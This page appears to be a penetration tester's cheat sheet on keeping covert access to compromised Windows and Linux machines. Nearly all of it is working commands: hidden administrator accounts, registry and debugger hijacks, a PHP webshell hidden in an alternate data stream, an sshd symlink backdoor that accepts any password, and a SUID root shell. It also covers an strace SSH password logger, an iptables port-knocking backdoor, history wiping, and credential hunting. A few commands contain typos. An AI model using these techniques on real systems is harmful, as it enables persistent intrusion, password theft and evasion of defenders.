About Pentest Persistence
Persistence is to maintain your privilege after breaking into a system.
Windows
You can learn persistence methodologies/category of persistence (and other red teaming skills) with penetration testing lab.
Addition:
- Schedule task:
- GUI tool:
taskschd.msc - CMD tool:
schtasks.exe - Schtasks-Backdoor
- Shadow account: having admin privs but not showing
net user admin$ Test1 /addnet localgroup administrators admin$ /add- backup
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users net user admin$ /del- only recovery registry k-v pairs
Edit registry to change startups.
1
2
3HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
- find
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options - add
debuggerto it like: reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"- open
notpad.exe, you getcalc.exestarted - to keep it silent, need
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/SilentProcessExit - configure (need admin privs)
1
2
3reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "KLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\taskmgr.exe"
- Shift backdoor
- …
Hide tech
- Hide file
- Use
attrib +s +a +h +r D:\test\project\test.txtto add system, archived, hidden, read-only attributes. - Use ADS(alternate data stream):
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg,notepad index.php:hidden.jpgto check content. - Driver-class hidden: Easy File Locker
1
2
3
4
5
6
7
8
9
10# if cannot find file but in system dir exists:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
# to clean it
> sc qc xlkfs
> net stop xlkfs
> sc delete xlkfs
# then delete those files in system dir and restart - There’re many other ways but fileless attack becomes popular
- Hide account
- Creating shadow account
- Port reuse
- victim:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} - attacker: winrs -r:http://x.x.x.x -u:administrator -p:passwd whoami
- will leave footprint in log
- Hide service
- using
SDDL(Security Descriptor Definition Language, able to change objectDACL):sc.exe sdset test "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" - delete
SDDLstatement to recover:& $env:SystemRoot\System32\sc.exe sdset auto_calc "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
- …
Linux
Backdoors
- Timed task:
- for one time:
at - run periodically:
crontab(crondprocess) anacron
sshdsoft link
- victim:
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555; - attacker:
ssh root@x.x.x.x -p 5555with any password
- SUID shell
- as root:
cp /bin/bash /dev/.rootshell - and run:
chmod u+s /dev/.rootshell - normal user can execute
/dev/.rootshell
aliasto start backdoor
alias cat='cat&&/root/.shell'- similar to
sshdsoft link
pambackdoor
- patch
pam_unix_auth.cto capture password
PROMPT_COMMANDbackdoor
PROMPT_COMMANDwill execute before you run commandsexport PROMPT_COMMAND="your_cmd"
sshlog-without-pass
- write
id_rsa.pubto~/.ssh/authorized_keys
sshwrappersshkeyloggerstraceto listensshsource traffic
- (strace -f -F -p
ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}-t -e trace=read,write -s 32 2> /tmp/.sshd.log &) - grep -E ‘read(6, “.+\0\0\0\.+”‘ /tmp/.sshd.log
- And the rootkit
- …
Hide yourself
- Hide files into hidden directories like
/tmp/.xxx/, or name it with prefix.. - Hide privs, using
lsattrandchattr - Close history log:
[space]set +o history- restart by
[Space]set -o history history -cto clean current terminal historyhistory|grep "xxx" && history -d [num]to clean specified one
- restart by
- Port reuse
- iptables
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# the chain
iptables -t nat -N LETMEIN
# the rule
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# start-switch
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# stop-switch
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
# start
echo threathuntercoming | socat - tcp:192.168.28.128:80
# ssh port 80 to login
ssh -p 80 root@192.168.28.128
# stop
echo threathunterleaving | socat - tcp:192.168.28.128:80 - SSLH
- Hide process: libprocesshider
- and unhide process unhide
- or process inject using linux-inject
- …
Addition:
To steal credentials on Linux:
Use grep -rn "password=" / to search all disk.
Use swap_digger to analyze swap automatically, and Impost3r to steal linux password (ssh, su, sudo).
Here recommends a linux post-exploitation framework emp3r0r
Using Pentest Framework
- Metasploit Framework (
run *to run all modules in meterpreter)
persistencemodulemetsvcmodulescheduleme&schtasksabusemodule- mof_ps_persist module
Autorunscript(not a module in meterpreter) and other advanced options ofexploitmodule.
- Empire
- It provides 18 methods (4 categories,
usemodule persistence/to see)
| elevated | misc | powerbreach | userland |
|---|---|---|---|
| registry* | add_netuser | deaduser | backdoor_lnk |
| schtasks* | add_sid_history* | eventlog* | registry |
| wmi* | debugger* | resolver | schtasks |
| wmi_updater* | disable_machine_acct_change* | ||
| get_ssps | |||
| install_ssp* | |||
| memssp* | |||
| skeleton_key* |
- Cobalt Strike
- produce powershell backdoor: Attacks -> Web Drive-by -> Scripted Web Delivery
- add startups into service or registry using given shell
- other frameworks …